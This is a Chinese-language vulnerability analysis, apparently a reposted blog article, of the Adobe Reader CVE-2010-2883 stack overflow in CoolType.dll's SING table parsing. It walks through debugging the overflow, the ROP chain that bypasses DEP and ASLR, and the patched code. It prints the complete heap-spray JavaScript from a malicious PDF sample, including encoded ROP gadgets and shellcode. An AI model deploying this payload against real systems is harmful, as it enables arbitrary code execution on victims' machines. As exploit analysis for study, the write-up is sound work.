Adobe Reader栈溢出漏洞(CVE-2010-2883)分析
文章目錄
- 漏洞描述
- 測試環境
- 靜態分析
- 定位觸發點
- 分析漏洞成因
- 動態調試
- 獲取SING表的入口地址
- 溢出點
- 精心挑選的返回地址
- JavaScript實現HeapSpray
- 利用ROP鏈繞過DEP保護
- 漏洞利用流程總結
- 漏洞修復
- 參考資料
這個漏洞是《漏洞戰爭》里面的第一個漏洞,也是我分析的第一個漏洞。水平有限,如有錯誤還望各位大佬指正。
漏洞描述
CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll庫在解析字體文件SING表中的uniqueName項時存在的棧溢出漏洞,用戶受騙打開了特制的PDF就有可能導致執行任意惡意代碼
測試環境
| 操作系統 | Windows XP SP3 |
| 虛擬機 | VMware |
| 調試器 | OD IDA |
| 漏洞軟件 | Adobe Reader9.3.4 |
靜態分析
定位觸發點
用IDA反匯編CoolType.dll庫,查看字符串可發現SING字體
分析漏洞成因
直接定位進去即可查看該庫對sing表格的解析方式,主要是strcat造成的溢出漏洞
可以注意到在地址0x0803DDAB處調用了strcat函數,先來看下strcat函數原型
char *strcat(char *dest, const char *src);strcat會將參數src字符串復制到參數dest所指的字符串尾部,dest最后的結束字符NULL會被覆蓋掉,并在連接后的字符串尾部再增加一個NULL
漏洞成因就是沒有去驗證src的長度是否可能會超出dest數組定義的長度。如果我們有可能超出dest數組定義的長度的數據放入src中有可能在后方調用strcat函數時覆蓋棧區從而實現代碼執行
動態調試
在復現環境中把Adobe Reader 9.3.4啟動程序載入OD,加載之后按F9運行。此時OD顯示當前調試程序是運行狀態,實際上這個時候Adobe Reader就已經加載了CoolType.dll文件了。
通過剛剛的靜態分析我們了解到SING在地址0x0803DD74處被引用,因此我們可以在OD中在這個地址處下一個斷點
獲取SING表的入口地址
Ctrl+G輸入0x0803DD74回車跳轉到該地址F2下斷點
將樣本(名企面試自助手冊.pdf)拖入Adobe Reader中,程序就會停在剛才下的斷點上面
F7單步到下面的地址
此時ecx指向0x12E404,《漏洞戰爭》對這條指令的解釋是這里是SING表的表的入口,我們來驗證一下,數據窗口跟隨看看這個指針里面存放的是什么
在分析這段數據之前我們先來看看TrueType字體格式標準文檔里
在TrueType字體文件中,從0字節偏移的位置開始有一個表目錄。且這個表目錄的第一個字段是名為sfnt version是用來表明所用ttf格式版本的字段。在文檔中清楚的說明了,對于1.0版本的TTF字體文件開頭要用0x00010000來表示版本。
現在回到0x2AEB710位置處的數據,
會發現開頭正好是0x00010000,這就證明了ecx保存的確實是SING表的指針
繼續動態調試,接下來遇到一個call指令,不妨來看看這個函數傳入了哪些參數
很明顯它將SING字符串當作參數了,這個call實際上是在處理SING表,這里我們直接F8步過,繼續單步
此時eax為0x46949,要想知道這塊數據是什么,首先用pdfStreamDumper取出PDF樣本中的TTF文件。TTF中關于SING表的TableEntry結構數據,如圖所示
下面是官方文檔中對TableEntry結構的定義
typedef struct_SING {char tag[4] //標記->SINGULONG checkSum //校驗和->0xD9BCCBB5ULONG offset //相對文件的偏移->011CULONG length //數據長度->0x1DDF }通過觀察SING表中的結構我們可以知道在文件偏移0x11C處即是SING表的真實數據,Ctrl+G去到0x11C處,發現和eax所指向的0x46949是一致的,如圖:
通過確認這個eax所指向的內容我們可以推測出上面那個call的作用是取出SING表的入口地址
接著比較eax和esi的值,檢測SING表是否為空
下面的je因為SING表不為空,所以不會跳轉
然后這里取出eax的內容賦給ecx,通過剛才的分析我們知道此時的ecx保存的是ttf的版本號,繼續往下
然后清掉低4位,結果為零,je跳轉,繼續往下
接著將eax加上0x10,eax原來指向SING表,SING表加上0x10處指向的是unique域,在010Editor處如圖:
溢出點
繼續單步就能發現溢出點
這里將uniqueName域和當前的ebp入棧,然后調用strcat進行字符串拼接,但是沒有進行安全檢查,導致溢出,我們單步步過strcat后查看一下ebp開始的棧區數據
此時棧溢出已經發生,函數的返回地址已經被覆蓋為SING表中的惡意數據,在010Editor中如圖
精心挑選的返回地址
這個地址位于icucnv32.dll中,讓我們來看看這個地址有和特別之處,為什么會選擇這樣一個地址,用010打開icucnv32.dll
我們發現IMAGE_OPTIONAL_HEADER中的IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE 的值為0,也就是說這個模塊沒有開啟ASLR,這就保證了exploit的穩定性
繼續往下分析,執行到0x0808B308時,eax的值指向0x4A80CB38,這個地址也是在icucnv32.dll中,我們F7跟進去,
這個地址是精心挑選的ROP指令,首先調整了ebp,調整之后ebp為0012E4DC
也就是將ebp調整到strcat函數調用后的棧區數據范圍內,接下來執行leave,修改了esp
最后retn會跳轉到0x4A82A714地址處,繼續F7單步
pop esp之后,esp將被修改為0x0C0C0C0C,然后返回,此時棧的情況如圖:
JavaScript實現HeapSpray
上面的0x0C0C0C0C是樣本特意構造的,自然是為了實現 HeapSpary堆噴射技術,借助PDF本身支持執行JS的特性,將ShellCode借助JS寫入內存中。棧中的數據即是JS代碼中的ShellCode,作者利用它來實現ROP以繞過DEP保護。
這里借助PDFStreamDumper工具提取樣本中這段實現堆噴射的JS代碼
var var_shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%ub5ba%uda4b%udd0e%ud9c1%u2474%u5ef4%uc933%u31b1%u5631%u0313%u1356%uee83%ua949%uf22f%uac59%u0bd0%ud199%uee59%ud1a8%u7a3e%ue19a%u2e35%u8916%udb18%uffad%uecb4%ub506%uc3e2%ue697%u42d7%uf51b%ua50b%u3622%ua45e%u2b63%uf493%u273c%ue906%u7d49%u829b%u9301%u779b%u92d1%u298a%ucd6a%ucb0c%u65bf%ud305%u40dc%u68df%u3e16%ub8de%ubf67%u854d%u3248%uc18f%uad6e%u3bfa%u508d%ufffd%u8eec%u1b88%u4456%uc02a%u8967%u83ad%u666b%uccb9%u796f%u676e%uf28b%ua891%u401a%u6cb6%u1247%u35d7%uf52d%u26e8%uaa8e%u2c4c%ube22%u6ffc%u4128%u0a72%u411e%u158c%u2a0e%u9ebd%u2dc1%u7542%uc2a6%ud408%u4a8e%u8cd5%u1693%u7ae6%u2ed7%u8f65%ud4a7%ufa75%u91a2%u1631%u8ade%u18d7%uaa4d%u7afd%u3810%u529d%ub8b7%uab04' ); var var_c = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); while (var_c.length + 20 + 8 < 0x10000) var_c+=var_c; var_b = var_c.substring(0, (0x0c0c-0x24)/2); var_b += var_shellcode; var_b += var_c; var_d = var_b.substring(0, 0x10000/2); while(var_d.length < 0x80000) var_d += var_d; var_3 = var_d.substring(0, 0x80000 - (0x1020-0x08) / 2); var var_4 = new Array(); for (var_i=0;var_i<0x1f0;var_i++) var_4[var_i]=var_3+"s";所有的ShellCode都被轉化為了十六進制的轉義序列,經過unescape解碼之后存儲在var_shellcode之中,var_c變量存儲了%u0c0c%u0c0c,接下來用了一個while循環疊加var_c,用來覆蓋內存的數據。
采用0x0c0c0c0c作為滑板指令的原因是因為它對應的指令是or al,0x0C,這樣的指令執行的效果對al寄存器不會產生任何影響
接下來的var_b保存了前面是所有滑板指令以及ShellCode,最關鍵的實現堆噴射的語句是new Array(),利用數據來開辟內存區域,然后通過填充數據的方式來噴射ShellCode
利用ROP鏈繞過DEP保護
繼續調試
這里ecx =0x4A8A0000 [ecx] = “UTF-32”,然后返回
這里借原本存“UTF-32”字符串的地方保存eax的值,然后再次返回
這里eax指向了CreateFileA
然后返回去跳轉執行CreateFileA,我們直接查看CreateFileA在棧區的參數
這里以隱藏的方式創建了一個臨時文件,文件名為iso88591,可以在當前樣本的同路徑下找到,我們直接按Ctrl+F9返回
這里會跳轉到0x4A8063A5
然后將ecx賦值為4A801064,接著跳轉到0x4A842DB2
這里交換eax和edi寄存器的值,接著跳轉到0x4A802AB1,繼續單步
此時ebx為0x8,跳轉到0x4A80A8A6
這里指向了一個函數的實現模塊
接著用相同的方法調用CreateFileMappingA,創建文件映射對象,再來查看一下堆棧中的參數
直接Ctrl+F9返回,然后去執行MapViewOfFile,將一個文件映射對象映射到當前程序的地址空間
參數如下
然后用類似的方法去調用memcpy
參數如下
這里將要執行的ShellCode寫入到MapViewOfFile返回的地址,因為這段內存是可讀可寫的,所以就繞過了DEP的保護由于構造的ROP鏈指令均位于不受ASLR保護的icucnv32.dll模塊,因此也繞過了ASLR。
接著去執行ShellCode
至于ShellCode本身干了什么,這個不是我們關心的重點
漏洞利用流程總結
漏洞流程總結如圖所示
漏洞修復
下載AdobeReader 9.4.0提取CoolType.dll,定位到相同的位置
這里不再是調用strcat,而是 sub_813391E,跟進去看看sub_813391E
該函數獲取了字段的長度,判斷是否超出限制。如果超出限制就用strncat限制了拷貝的字節數從而修復了該漏洞
參考資料
《漏洞戰爭》
細說CVE-2010-2883從原理分析到樣本構造
總結
以上是生活随笔為你收集整理的Adobe Reader栈溢出漏洞(CVE-2010-2883)分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 160个Crackme045
- 下一篇: 160个Crackme047